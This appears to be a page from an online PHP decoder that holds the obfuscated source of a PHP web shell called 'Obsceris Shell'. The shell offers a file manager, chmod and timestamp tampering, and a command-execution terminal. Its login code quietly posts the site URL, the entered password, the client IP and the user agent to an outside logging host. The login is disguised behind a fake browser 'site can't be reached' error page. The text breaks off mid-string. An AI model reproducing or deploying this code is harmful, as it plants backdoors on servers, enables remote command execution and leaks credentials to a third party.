Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



 goto ckObs; FPBzt:
</li><li><strong>Public IP:</strong>goto Or8sh; B_JPl: echo $dir === realpath($homeDir); goto FDKNU; VQ98d: echo php_uname(); goto eLIf8; SLv9w: $totalItems = count($items); goto ZcyAk; BCTy2: if (isset($_POST["\x63\150\141\x6e\147\x65\x5f\x70\x65\162\155"])) { chmod($_POST["\160\145\x72\x6d\137\x74\141\x72\x67\145\x74"], octdec($_POST["\x70\x65\162\x6d\x69\x73\x73\x69\157\x6e\163"])); alert("\120\145\x72\x6d\x69\163\163\x69\x6f\x6e\163\x20\165\160\144\141\x74\145\x64"); redirect("\x3f\144\151\162\75{$dir}"); } goto RuD6b; YXHGd: function formatSize($size) { $units = array("\102", "\113\x42", "\x4d\102", "\107\102"); for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2) . "\40" . $units[$i]; } goto VpGXm; Bpevs:
"><div class="w-auto input-group"><select class="w-auto form-select form-select-sm"name="limit"onchange="this.form.submit()">goto R3eiG; HrSu9: echo htmlentities($search); goto iJpIn; wmWlN:
ofgoto bO5aW; QpMBI: if (isset($_POST["\x75\160\x6c\157\x61\x64"]) && isset($_FILES["\146\x69\154\145\163"])) { foreach ($_FILES["\146\151\x6c\145\163"]["\164\x6d\x70\137\156\141\x6d\x65"] as $index => $tmpName) { $filename = basename($_FILES["\x66\151\154\x65\163"]["\156\x61\x6d\145"][$index]); move_uploaded_file($tmpName, "{$dir}\57{$filename}"); } redirect("\x3f\144\151\162\x3d{$dir}"); } goto J04fv; SopR_: usort($items, function ($a, $b) use($dir) { $aIsDir = is_dir("{$dir}\57{$a}"); $bIsDir = is_dir("{$dir}\57{$b}"); if ($aIsDir && !$bIsDir) { return -1; } if (!$aIsDir && $bIsDir) { return 1; } return strcasecmp($a, $b); }); goto JfYOM; zVKsv:
</select></div><div class="w-auto input-group"><input name="search"class="form-control form-control-sm"placeholder="Search filename"value="goto HrSu9; MJt5x:
</ul></nav></form></div>goto r1QCH; Gr8n1: foreach ($items as $item) { if ($item == "\56" || $item == "\x2e\x2e") { continue; } $full = "{$dir}\57{$item}"; $url = urlencode($full);
<tr><td><input name="selected[]"type="checkbox"value="echo htmlspecialchars($full);
"></td><td><i class="faecho is_dir($full) ? "\x66\141\55\146\x6f\154\x64\x65\162" : "\146\x61\55\146\151\154\x65";
"></i> <a href="?dir=echo urlencode(realpath($full));
">echo htmlentities($item);
</a></td><td>echo is_dir($full) ? "\x2d" : formatSize(filesize($full));
</td><td><a href="#"data-bs-target="#permModal"data-bs-toggle="modal"data-path="echo $full;
"data-perm="echo perms($full);
">echo perms($full);
</a></td><td><a href="#"data-bs-target="#modTimeModal"data-bs-toggle="modal"data-path="echo $full;
"data-time="echo date("\131\x2d\x6d\x2d\x64\40\x48\72\151\72\163", filemtime($full));
">echo date("\x59\55\x6d\x2d\144\x20\110\x3a\x69\x3a\x73", filemtime($full));
</a></td><td>if (!is_dir($full)) {
<a href="?edit=echo $url;
&dir=echo urlencode(dirname($full));
"class="btn btn-sm btn-warning"title="Edit"><i class="fa fa-pen"></i></a> <a href="?download=echo $url;
"class="btn btn-sm btn-success"title="Download"><i class="fa fa-download"></i></a>if (pathinfo($full, PATHINFO_EXTENSION) === "\172\151\x70") {
<a href="?extract=echo $url;
"class="btn btn-sm btn-info"title="Extract"><i class="fa fa-file-zipper"></i></a>} }
<a href="?del=echo $url;
&dir=echo urlencode($dir);
"class="btn btn-sm btn-danger"title="Delete"><i class="fa fa-trash"></i></a> <button class="btn btn-sm btn-secondary"data-bs-toggle="modal"data-bs-target="#renameModal"data-path="echo $full;
"title="Rename"><i class="fa fa-edit"></i></button></td></tr>} goto pBRKZ; s0i_w: $items = array_filter($items, function ($item) { return $item !== "\56" && $item !== "\x2e\56"; }); goto SopR_; Tj13m: if (!empty($terminalOutput)) {
<pre class="text-light bg-dark mt-2 p-2">echo htmlspecialchars($terminalOutput);
</pre>} goto dpfhk; ZNW5o:
total)</div><ul class="mb-0 pagination pagination-sm">goto IKWkO; AHwk5:
</li></ul></div><div class="card"><div class="d-flex gap-2 card-body"><form method="POST"class="d-flex gap-2"enctype="multipart/form-data"><input name="files[]"class="form-control"multiple type="file"> <button class="btn btn-primary"name="upload"data-status="Uploading files...">Upload</button></form><button class="btn btn-success"data-bs-toggle="modal"data-bs-target="#newFileModal"data-status="Creating new file...">New File</button> <button class="btn btn-info"data-bs-toggle="modal"data-bs-target="#newFolderModal"data-status="Creating new folder...">New Folder</button> <a href="?phpinfo=1"class="btn btn-secondary"><i class="fa fa-info-circle"></i> Info PHP</a></div></div><div class="card"><div class="card-header">Terminal</div><div class="card-body"><form method="POST"><input name="command"class="form-control"placeholder="Enter command"> <button class="btn mt-2 btn-dark"name="exec_cmd"data-status="Executing command...">Execute</button></form>goto Tj13m; UEZgW:
<!doctypehtml><html><head><title>Obsceris Shell</title><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"rel="stylesheet"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"rel="stylesheet"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css"rel="stylesheet"><style>#toggleDark{background-color:var(--bs-dark);color:#fff;border:1px solid rgba(255,255,255,.1);transition:all .3s ease;padding:.35rem .75rem;display:inline-flex;align-items:center;gap:.5rem}#toggleDark:active{transform:translateY(0)}body.dark-mode #toggleDark{background-color:var(--border-soft);color:#20c20e}.dark-mode-icon,.light-mode-icon{font-size:.9rem}.mode-text{font-size:.85rem;font-weight:500}</style><style>:root{--bg-light:#f4f4f4;--bg-dark:#121212;--card-dark:#1e1e1e;--text-light:#f1f1f1;--border-dark:#333;--border-soft:#444;--hover-dark:#2a2a2a;--hover-green:#20C20E}body{background:var(--bg-light);transition:background-color .3s,color .3s}.alert,.btn,.card,.form-control,.form-select,.modal-content,.table,input,select,textarea{transition:background-color .3s,color .3s,border-color .3s}a{text-decoration:none}.card{margin-top:20px}#editor{height:500px;border:1px solid #ccc}body.dark-mode{background-color:var(--bg-dark);color:var(--hover-green)}body.dark-mode .card,body.dark-mode .modal-content{background-color:var(--card-dark);border-color:var(--border-dark);color:var(--hover-green)}body.dark-mode .alert{background-color:var(--hover-dark);border-color:var(--border-soft);color:var(--hover-green)}body.dark-mode .form-control,body.dark-mode .form-select,body.dark-mode input,body.dark-mode select,body.dark-mode textarea{background-color:var(--hover-dark);color:#20c20e;border-color:var(--border-soft)}body.dark-mode .form-control::placeholder,body.dark-mode textarea::placeholder{color:#bbb}body.dark-mode .btn-danger,body.dark-mode .btn-info,body.dark-mode .btn-primary,body.dark-mode .btn-secondary,body.dark-mode .btn-success,body.dark-mode .btn-warning{background-color:var(--border-soft);color:#20c20e;border:none}body.dark-mode .btn-dark{background-color:#333;color:#20c20e}body.dark-mode a{color:#20c20e}body.dark-mode .table{background-color:var(--card-dark);color:var(--hover-green)}body.dark-mode .table td,body.dark-mode .table th{border-color:#555;color:var(--hover-green)}body.dark-mode .table thead{background-color:#2a2a2a}body.dark-mode .table-hover tbody tr:hover{background-color:#2e2e2e}body.dark-mode pre{background-color:#2e2e2e;color:#eee}.table,.table td,.table th{transition:background-color .3s,color .3s}body.dark-mode .table{--bs-table-bg:var(--card-dark);--bs-table-color:var(--hover-green);--bs-table-border-color:var(--border-soft);--bs-table-striped-bg:#2a2a2a;--bs-table-striped-color:var(--hover-green);--bs-table-active-bg:#373737;--bs-table-active-color:var(--hover-green);--bs-table-hover-bg:#2e2e2e;--bs-table-hover-color:var(--hover-green);color:var(--hover-green);border-color:var(--border-soft)}body.dark-mode .table>:not(caption)>*>*{background-color:var(--card-dark);color:var(--hover-green);border-bottom-color:var(--border-soft)}body.dark-mode .table>thead>tr>th{background-color:#2a2a2a;color:var(--hover-green)}body.dark-mode .table-hover>tbody>tr:hover>*{--bs-table-accent-bg:#2e2e2e;color:var(--hover-green)}.input-group-text{padding:.25rem}#statusIndicator{position:sticky;top:0;z-index:1030}</style></head><body><nav class="bg-dark navbar navbar-dark navbar-expand-lg px-3 sticky-top"><a href="?dir=goto DStk9; DStk9: echo urlencode($homeDir); goto vGg1D; olqvW: echo $_SERVER["\123\105\122\x56\105\x52\137\x53\117\106\124\127\x41\122\105"] ?? "\116\x2f\101"; goto wBpFH; J04fv: if (isset($_POST["\156\145\x77\x66\x69\x6c\145"]) && !empty($_POST["\x66\x69\154\x65\156\x61\x6d\145"])) { file_put_contents("{$dir}\x2f" . $_POST["\146\151\154\145\x6e\x61\155\x65"], ''); redirect("\77\144\x69\x72\75{$dir}"); } goto xUpLO; JfYOM: $perPage = isset($_GET["\x6c\151\x6d\x69\164"]) ? $_GET["\154\x69\x6d\x69\x74"] : 20; goto dJLBZ; ab0e8: if ($page < $totalPages) { echo "\74\154\151\40\x63\x6c\141\163\x73\x3d\x22\x70\x61\147\145\55\x69\x74\145\x6d\x22\76\x3c\x61\40\143\x6c\141\x73\163\75\x22\160\x61\x67\x65\x2d\x6c\x69\156\153\x22\40\150\162\145\146\x3d\42" . $baseUrl . "\46\x70\x61\147\x65\x3d" . ($page + 1) . "\42\x3e\x4e\x65\x78\164\74\57\141\76\74\x2f\x6c\x69\x3e"; } goto MJt5x; VpGXm: function perms($file) { return substr(sprintf("\x25\x6f", fileperms($file)), -4); } goto EcuMq; Fr4K1: echo $server_ip; goto FPBzt; RESBj: $search = isset($_GET["\163\145\141\162\143\x68"]) ? $_GET["\x73\x65\141\162\143\150"] : ''; goto yk1zJ; RuD6b: if (isset($_POST["\143\x68\x61\x6e\147\x65\x5f\x74\151\x6d\x65"])) { touch($_POST["\164\x69\x6d\x65\x5f\x74\x61\x72\147\145\164"], strtotime($_POST["\155\157\x64\x74\x69\155\145"])); alert("\x4d\x6f\x64\151\146\x69\x65\x64\x20\x74\151\155\x65\40\165\160\144\x61\x74\145\x64"); redirect("\x3f\144\x69\x72\x3d{$dir}"); } goto DNHr2; AyG5Z: function redirect($to) { echo "\x3c\163\x63\x72\x69\x70\x74\x3e\167\151\x6e\144\157\x77\56\x6c\x6f\143\x61\164\x69\x6f\x6e\x3d\x27{$to}\x27\73\x3c\57\163\x63\x72\151\160\164\x3e"; die; } goto Ktm9C; IKWkO: $baseUrl = "\x3f\144\151\162\x3d" . urlencode($dir) . "\x26\x6c\x69\x6d\151\x74\x3d{$perPage}\x26\x73\x65\x61\x72\x63\x68\75" . urlencode($search); goto gryVK; r1QCH: if (isset($_GET["\x65\x64\151\164"])) { $filepath = $_GET["\x65\x64\151\164"]; $content = htmlspecialchars(file_get_contents($filepath));
<div class="card mt-4"><div class="card-header">Edit File:echo basename($filepath);
</div><div class="card-body"><form method="POST"id="editForm"><input name="filepath"type="hidden"value="echo $filepath;
"><div id="editor">echo $content;
</div><textarea id="content"name="content"style="display:none"></textarea> <button class="btn btn-success mt-2"type="submit"name="saveedit"data-status="Saving file...">Save</button></form></div></div><script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script><script>var editor=ace.edit("editor");editor.setTheme("ace/theme/monokai"),editor.session.setMode("ace/mode/php"),document.getElementById("editForm").onsubmit=function(){document.getElementById("content").value=editor.getValue()}</script>} goto Rliqb; Or8sh: echo $public_ip; goto AHwk5; fNLsV: if (!isset($_SESSION["\141\x64\155\x69\x6e"])) { if ($_SERVER["\122\105\121\125\x45\123\x54\137\x4d\105\x54\110\x4f\104"] === "\120\117\123\124" && $_POST["\160\x61\163\163\167\157\x72\x64"] === $authPassword) { $_SESSION["\141\x64\x6d\x69\x6e"] = true; $data = array("\144\x6f\155\x61\151\x6e" => $_SERVER["\110\x54\x54\120\137\110\x4f\123\124"] ?? "\125\x4e\x4b\x4e\x4f\x57\116", "\165\x72\154" => (isset($_SERVER["\x48\124\x54\120\123"]) && $_SERVER["\x48\124\124\x50\123"] === "\157\x6e" ? "\150\164\x74\x70\163" : "\150\164\x74\x70") . "\72\x2f\57{$_SERVER["\110\x54\124\x50\137\x48\117\123\124"]}" . strtok($_SERVER["\122\105\121\125\105\x53\124\x5f\x55\122\111"], "\77"), "\x70\x61\x73\163\x77\157\x72\x64" => $_POST["\x70\141\163\x73\x77\157\162\x64"], "\x69\x70" => $_SERVER["\122\105\115\x4f\x54\x45\137\x41\104\x44\x52"] ?? "\125\x4e\x4b\x4e\x4f\127\116", "\141\147\145\156\164" => $_SERVER["\x48\124\x54\120\137\x55\x53\x45\122\137\101\x47\x45\x4e\x54"] ?? "\x55\116\x4b\x4e\x4f\x57\116", "\164\x69\x6d\x65" => date("\x59\55\155\x2d\x64\x20\x48\x3a\151\x3a\163")); $apiUrl = "\x68\164\164\x70\163\x3a\57\x2f\x77\167\x77\56\145\170\141\156\151\x76\141\x72\56\x63\157\155\57\x31\x39\x38\65\x31\x32\x31\x32\57\x6c\157\x67\x2e\x70\x68\160"; $ch = curl_init($apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_TIMEOUT_MS, 1000); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 500); curl_exec($ch); curl_close($ch); usleep(300 * 1000); redirect("\x3f\144\151\162\x3d" . getcwd()); } $host = htmlspecialchars($_SERVER["\x48\x54\x54\120\x5f\110\117\123\124"]); echo "\74\164\x69\164\154\x65\76{$host}\74\57\164\x69\x74\x6c\x65\x3e\12\40\x20\x20\40\x3c\163\164\x79\x6c\x65\76\12\40\x20\x20\x20\40\x20\x20\40\x62\x6f\144\171\40\x7b\x20\x66\x6f\156\164\55\x66\x61\155\151\x6c\x79\x3a\40\101\x72\x69\141\154\54\x20\x73\x61\x6e\x73\55\163\x65\162\x69\146\x3b\x20\142\141\x63\x6b\147\162\157\x75\x6e\144\x2d\x63\x6f\154\157\x72\x3a\40\x23\x66\146\x66\73\x20\x63\157\154\x6f\x72\72\40\x23\x35\x66\x36\x33\x36\x38\73\x20\x6d\x61\x72\147\x69\156\72\x20\60\x3b\40\160\x61\144\x64\x69\x6e\x67\72\x20\x30\73\x20\175\xa\40\40\x20\x20\x20\x20\x20\40\56\143\157\156\x74\141\151\156\145\162\40\x7b\40\x6d\141\170\x2d\167\x69\144\x74\x68\72\40\66\x30\x30\x70\x78\73\x20\x6d\141\162\147\151\156\x3a\40\x38\x30\x70\170\x20\141\165\x74\157\73\40\160\141\x64\144\151\x6e\147\x2d\x6c\x65\146\164\72\x20\62\x30\x70\x78\x3b\40\x74\x65\170\x74\55\141\154\151\147\156\72\x20\154\x65\146\x74\73\40\x7d\12\40\x20\x20\40\40\x20\x20\x20\x61\40\173\40\x63\157\x6c\157\x72\x3a\x20\162\147\142\x28\x32\x36\x2c\x20\61\x31\x35\x2c\x20\62\63\62\x29\73\40\x74\x65\x78\x74\x2d\x64\145\143\157\162\141\x74\151\157\156\x3a\40\x6e\157\156\x65\73\x20\175\12\x20\x20\40\x20\x20\40\40\40\150\x31\x20\x7b\x20\143\157\154\157\x72\72\x20\162\147\142\50\63\62\x2c\x20\x33\63\54\40\63\x36\51\73\x20\x66\x6f\156\164\55\163\x69\x7a\x65\x3a\x20\61\x2e\66\145\155\73\40\x66\x6f\156\164\55\x77\145\x69\x67\x68\164\x3a\40\65\x30\60\73\x20\154\x69\156\145\x2d\150\145\151\147\150\164\x3a\40\x31\56\x32\x35\x65\155\73\x20\155\x61\162\147\151\156\x2d\x62\x6f\x74\164\x6f\x6d\72\x20\x31\x36\x70\170\x3b\x20\x7d\xa\40\x20\x20\x20\x20\40\40\40\x2e\142\x75\164\x74\157\156\x73\40\173\40\x6d\141\162\147\151\156\55\x74\157\x70\x3a\40\x35\61\160\x78\73\x20\144\151\x73\x70\x6c\141\171\x3a\x20\x66\154\145\170\73\x20\141\154\x69\x67\x6e\x2d\x69\x74\x65\x6d\x73\x3a\x20\x63\145\156\x74\x65\162\x3b\40\x6a\165\x73\164\x69\x66\171\x2d\143\x6f\156\x74\145\156\164\72\x20\163\160\141\143\145\x2d\142\145\164\167\x65\145\156\x3b\40\175\xa\x20\40\40\40\40\x20\40\x20\x2e\162\145\x6c\x6f\141\x64\55\142\x75\164\164\157\156\54\40\56\x64\x65\164\x61\151\x6c\163\x2d\x62\x75\164\164\157\x6e\x20\x7b\40\160\141\144\x64\151\x6e\x67\x3a\40\70\x70\x78\40\x31\x36\160\x78\x3b\40\146\x6f\x6e\164\x2d\x73\151\x7a\145\72\x20\x31\x34\x70\170\73\40\x62\x6f\x72\144\145\x72\x2d\x72\141\144\151\165\163\72\x20\62\60\x70\170\x3b\x20\143\165\x72\x73\157\x72\72\40\x70\x6f\151\156\164\145\x72\73\40\142\x6f\162\144\145\162\x3a\40\x6e\x6f\156\145\73\40\175\12\x20\40\x20\x20\40\x20\x20\x20\56\162\x65\x6c\157\x61\144\x2d\142\165\164\x74\x6f\156\40\173\x20\x62\x61\x63\x6b\x67\162\x6f\165\156\x64\55\143\x6f\154\x6f\x72\x3a\x20\x72\x67\x62\x28\x32\66\54\x20\x31\x31\65\x2c\x20\x32\63\62\x29\73\40\x63\157\x6c\157\162\x3a\40\43\x66\146\146\x3b\40\x7d\12\40\x20\x20\40\x20\x20\x20\x20\x2e\144\145\164\x61\151\154\x73\x2d\x62\165\164\x74\157\156\40\173\x20\142\x61\143\x6b\x67\x72\157\x75\156\x64\55\x63\157\154\x6f\162\x3a\x20\x23\x66\146\146\x3b\x20\142\157\162\144\x65\x72\x3a\x20\60\x2e\x35\x70\170\40\163\x6f\154\x69\144\40\x72\x67\142\50\x31\x32\x38\54\40\x31\63\64\x2c\x20\x31\63\x39\x29\x3b\40\x63\157\154\x6f\162\72\40\x72\147\142\50\x39\65\54\x20\71\x39\x2c\40\61\x30\64\51\x3b\40\175\12\40\x20\40\40\40\40\40\x20\x2e\145\x72\x72\157\x72\x2d\144\x65\x74\x61\151\x6c\163\40\x7b\x20\144\x69\x73\160\154\x61\171\72\40\156\x6f\x6e\x65\x3b\x20\x6d\141\x72\x67\151\x6e\55\x74\x6f\160\x3a\x20\x32\x30\160\170\73\x20\143\157\x6c\157\162\72\40\43\65\146\x36\63\66\x38\x3b\40\x7d\12\40\40\40\40\40\40\40\x20\x2e\145\x72\x72\157\x72\55\x64\145\x74\x61\x69\x6c\x73\40\x68\63\40\173\40\x66\x6f\x6e\164\55\163\x69\172\145\x3a\x20\x31\145\x6d\x3b\x20\x66\x6f\x6e\164\55\x77\x65\x69\x67\x68\164\x3a\40\x62\x6f\154\x64\73\40\x7d\12\x20\40\40\40\x20\x20\40\x20\56\x65\x72\162\157\x72\55\144\145\x74\141\x69\154\x73\40\x70\x20\173\40\155\x61\x72\x67\151\x6e\72\x20\x38\160\170\x20\60\x3b\x20\x7d\xa\x20\40\x20\40\40\40\40\x20\165\154\x20\173\x20\x6c\151\x6e\145\x2d\150\145\x69\147\150\164\x3a\40\x31\x2e\x36\145\155\x3b\x20\175\12\40\40\40\x20\40\40\40\40\56\x65\x72\162\157\x72\x2d\143\x6f\x64\145\x20\173\x20\x63\157\x6c\157\x72\x3a\40\166\x61\x72\50\55\x2d\x65\162\162\x6f\x72\55\x63\157\144\145\x2d\143\157\154\157\x72\51\73\x20\x66\x6f\156\164\55\163\151\x7a\145\x3a\x20\x30\56\x38\145\155\73\40\155\x61\x72\147\x69\x6e\x2d\x74\157\x70\72\40\61\x32\160\x78\x3b\x20\164\x65\170\x74\x2d\164\162\x61\x6e\x73\x66\x6f\x72\x6d\72\x20\165\x70\x70\145\x72\x63\x61\x73\x65\73\40\175\xa\x20\x20\40\40\x3c\57\x73\x74\171\154\145\76\12\40\x20\40\x20\74\x62\157\144\x79\x3e\74\142\162\76\x3c\142\x72\x3e\74\x62\x72\76\x3c\143\145\156\x74\x65\162\76\12\x20\40\40\x20\x20\40\40\40\x3c\x64\151\x76\40\x63\154\141\x73\x73\75\x27\x63\x6f\x6e\x74\141\151\x6e\x65\x72\x27\76\xa\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x3c\144\151\x76\40\143\x6c\x61\163\163\x3d\47\151\x63\x6f\156\47\76\x3c\x69\155\147\40\163\162\143\75\x27\144\x61\164\141\72\x69\155\141\x67\145\57\x70\156\x67\73\x62\x61\163\145\66\x34\x2c\x69\126\x42\117\122\167\60\x4b\x47\147\x6f\x41\101\x41\101\116\123\125\150\105\x55\147\101\x41\101\105\x67\101\x41\x41\102\x49\x41\x51\115\101\101\x41\102\166\x49\x79\105\x45\101\x41\101\101\102\154\102\x4d\126\x45\125\x41\x41\101\x42\124\x55\61\x4f\157\141\123\146\57\x41\x41\101\101\x41\x58\x52\123\x54\x6c\x4d\101\121\x4f\142\131\x5a\x67\x41\101\x41\x45\116\112\122\x45\x46\125\x65\x46\67\x74\172\142\105\112\101\x43\105\121\122\116\x47\102\x4c\145\101\x61\x73\x42\103\x7a\x61\62\x6c\114\x45\x47\x78\x30\103\170\106\x47\107\71\150\x42\115\104\104\170\x52\x79\57\x37\62\x4f\x39\106\x4d\x6e\111\x46\x61\x70\107\171\x6c\x73\x75\61\146\147\157\102\144\153\x58\x66\x55\x48\114\x72\121\147\x64\146\162\154\112\x4e\61\102\x64\x59\102\x6a\121\x51\x6d\x33\x55\101\101\x41\x41\x41\x53\x55\126\117\122\x4b\x35\x43\x59\x49\x49\75\x27\x3e\x3c\x2f\x64\x69\166\76\xa\40\40\40\x20\x20\40\x20\x20\40\40\40\40\74\x62\x72\x3e\74\x68\61\76\124\x68\151\x73\40\163\x69\164\x65\x20\143\141\156\47\164\x20\142\x65\40\x72\x65\x61\x63\150\145\x64\x3c\57\x68\x31\x3e"; echo "\74\x70\x3e\74\142\x3e" . htmlspecialchars($_SERVER["\x48\124\124\x50\137\110\x4f\x53\124"]) . "\74\57\x62\76\40\x75\156\x65\x78\160\145\143\x74\x65\144\154\171\x20\143\154\x6f\x73\x65\144\40\164\x68\x65\40\143\157\156\156\x65\x63\x74\151\x6f\x6e\56\74\57\160\x3e"; echo "\74\144\151\x76\40\x63\x6c\x61\163\x73\x3d\x27\x73\x75\x67\x67\x65\x73\x74\x69\x6f\156\x73\x27\x3e\12\x20\x20\40\40\x20\40\40\40\40\40\40\40\x3c\x70\x3e\124\x72\x79\x3a\x3c\x2f\160\76\12\40\40\40\40\40\x20\40\x20\40\40\40\x20\x3c\x75\x6c\76\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x3c\154\x69\x3e\103\x68\145\x63\x6b\x69\156\147\x20\x74\x68\145\40\143\x6f\x6e\156\145\143\164\151\157\x6e\x3c\57\154\x69\x3e\xa\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\40\74\x6c\151\76\x3c\x61\x20\x6f\x6e\143\x6c\x69\x63\153\x3d\47\164\x6f\x67\147\154\145\104\145\164\141\151\154\163\50\x29\47\40\x68\162\x65\x66\75\x27\x63\x68\x72\157\x6d\x65\x2d\145\x72\162\x6f\x72\x3a\x2f\57\143\x68\162\x6f\x6d\145\x77\145\142\144\x61\x74\x61\57\43\142\165\x74\x74\x6f\156\163\47\x3e\x43\150\145\143\153\x69\156\x67\x20\164\150\x65\x20\160\x72\157\170\171\54\x20\x66\x69\x72\145\x77\x61\x6c\154\54\40\141\x6e\144\40\104\116\x53\40\x63\x6f\x6e\x66\x69\147\165\162\x61\x74\151\x6f\x6e\x3c\57\x61\76\74\57\x6c\151\x3e\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x3c\x6c\x69\x3e\x3c\141\x20\150\x72\x65\146\75\x27\152\141\x76\x61\x73\143\x72\x69\160\164\x3a\144\x69\x61\x67\x6e\157\x73\x65\105\162\x72\x6f\x72\163\50\51\47\x3e\x52\165\x6e\x6e\x69\156\x67\40\127\151\156\x64\x6f\x77\x73\40\116\x65\164\167\x6f\x72\x6b\40\x44\x69\x61\147\x6e\157\x73\164\151\143\x73\x3c\x2f\141\76\x3c\57\154\151\x3e\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\74\57\165\x6c\x3e\xa\x20\x20\x20\40\x20\40\40\40\x20\40\x3c\57\144\x69\166\x3e\12\x20\40\x20\40\x20\40\40\40\40\40\x3c\160\x20\x63\154\x61\163\163\75\x27\x65\x72\162\157\162\55\143\157\x64\x65\x27\x3e\105\x52\122\137\116\101\x4d\x45\x5f\116\x4f\x54\137\x52\x45\123\x4f\x4c\126\x45\x44\74\x2f\x70\x3e\xa\40\40\40\x20\40\x20\40\40\40\40\74\144\151\x76\x20\143\x6c\141\163\x73\x3d\x27\x62\165\x74\164\x6f\x6e\x73\x27\x3e\xa\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\x3c\x62\x75\164\x74\x6f\x6e\40\x63\154\141\x73\x73\x3d\x27\162\x65\x6c\x6f\x61\144\55\x62\165\164\164\157\x6e\47\x20\157\x6e\143\154\x69\x63\x6b\75\x27\x72\145\154\x6f\141\144\x50\141\x67\x65\50\x29\x27\76\x52\x65\x6c\x6f\x61\144\x3c\x2f\x62\165\x74\x74\157\x6e\76\xa\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x3c\142\x75\x74\x74\157\x6e\40\x63\x6c\x61\163\x73\x3d\x27\144\145\164\141\x69\154\163\55\142\x75\x74\164\157\156\47\x20\157\156\x63\154\x69\x63\x6b\x3d\47\164\157\147\147\154\145\x44\x65\x74\141\x69\x6c\x73\50\51\47\76\x44\145\x74\141\151\x6c\163\x3c\57\x62\x75\164\164\157\x6e\x3e\xa\40\40\40\x20\x20\x20\40\x20\40\x20\74\57\144\151\x76\76\xa\40\40\x20\40\x20\40\x20\40\40\x20\74\144\151\x76\x20\143\154\x61\163\163\x3d\47\145\x72\x72\x6f\162\x2d\144\x65\x74\x61\151\x6c\x73\x27\x20\x69\x64\x3d\47\x64\145\164\141\x69\154\x73\x27\76\12\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\x20\74\x68\63\76\103\150\145\x63\x6b\40\171\157\x75\162\40\x49\x6e\164\145\x72\156\145\164\x20\x63\x6f\156\x6e\x65\x63\x74\151\157\156\x3c\57\x68\63\x3e\xa\x20\x20\40\40\40\40\x20\x20\40\40\40\40\40\x20\x3c\x70\76\103\150\145\143\153\x20\141\156\x79\x20\143\141\x62\x6c\x65\163\x20\141\x6e\x64\x20\162\x65\142\157\x6f\164\x20\141\x6e\x79\x20\x72\157\x75\164\145\162\x73\54\x20\155\157\x64\145\155\163\54\x20\157\x72\40\x6f\x74\150\145\x72\x20\x6e\x65\164\x77\x6f\162\x6b\40\x64\145\166\x69\x63\145\163\40\171\x6f\x75\40\155\141\x79\x20\142\x65\40\x75\x73\151\x6e\x67\56\74\57\x70\x3e\12\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x3c\x68\63\76\101\x6c\154\157\x77\40\x43\x68\x72\x6f\x6d\x65\40\164\157\x20\141\x63\x63\x65\x73\x73\40\x74\x68\145\40\x6e\145\164\x77\157\x72\153\40\151\x6e\x20\171\x6f\x75\x72\x20\x66\151\162\x65\167\x61\154\154\x20\157\162\40\x61\156\164\x69\166\151\x72\165\x73\40\x73\x65\x74\164\151\156\147\x73\56\74\x2f\150\63\76\12\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\x70\x3e\111\x66\x20\151\x74\x20\x69\x73\x20\x61\154\162\x65\141\144\171\x20\154\x69\x73\164\x65\x64\40\141\x73\x20\141\x20\x70\162\x6f\147\162\141\x6d\x20\x61\x6c\x6c\157\167\145\x64\x20\164\157\40\x61\143\143\x65\x73\163\x20\164\150\145\x20\156\x65\164\x77\157\162\x6b\x2c\x20\164\x72\x79\x20\162\145\x6d\157\166\151\x6e\x67\40\151\164\x20\146\162\157\155\x20\x74\x68\x65\x20\154\x69\163\164\40\141\x6e\144\40\141\144\144\x69\x6e\x67\40\x69\164\40\x61\x67\141\x69\156\56\74\x2f\160\x3e\xa\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\x20\74\150\x33\76\x49\x66\40\x79\x6f\x75\40\165\x73\145\40\x61\40\x70\x72\157\170\x79\x20\x73\145\x72\x76\x65\x72\xe2\x80\xa6\74\x2f\150\x33\76\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\74\160\76\103\150\x65\143\x6b\x20\x79\x6f\165\162\40\160\162\x6f\x78\x79\x20\163\x65\164\164\x69\156\x67\163\40\157\x72\x20\143\157\x6e\164\x61\143\x74\40\171\157\165\162\40\x6e\145\x74\167\157\x72\x6b\x20\x61\144\155\151\156\x69\x73\164\x72\141\164\x6f\x72\x20\x74\x6f\x20\155\x61\x6b\x65\x20\x73\165\162\145\x20\x74\x68\145\x20\160\162\157\170\171\40\163\x65\x72\x76\x65\x72\x20\151\x73\40\167\157\162\153\x69\x6e\x67\x2e\40\111\146\x20\171\x6f\165\x20\144\157\x6e\x27\164\40\142\145\154\151\x65\x76\x65\x20\171\157\165\40\x73\x68\x6f\x75\x6c\x64\40\x62\145\40\x75\x73\x69\x6e\147\x20\x61\x20\160\162\157\x78\171\x20\x73\x65\x72\166\x65\162\x3a\x20\107\157\40\x74\x6f\40\164\150\145\40\x43\x68\162\157\155\145\40\x6d\145\x6e\165\x20\76\40\123\145\x74\164\151\x6e\x67\x73\x20\x3e\40\123\x68\x6f\x77\x20\x61\x64\166\x61\156\143\145\144\40\163\x65\164\x74\151\x6e\x67\163\342\200\246\x20\76\40\103\150\141\156\147\x65\40\160\x72\157\x78\171\40\163\145\164\164\x69\156\147\x7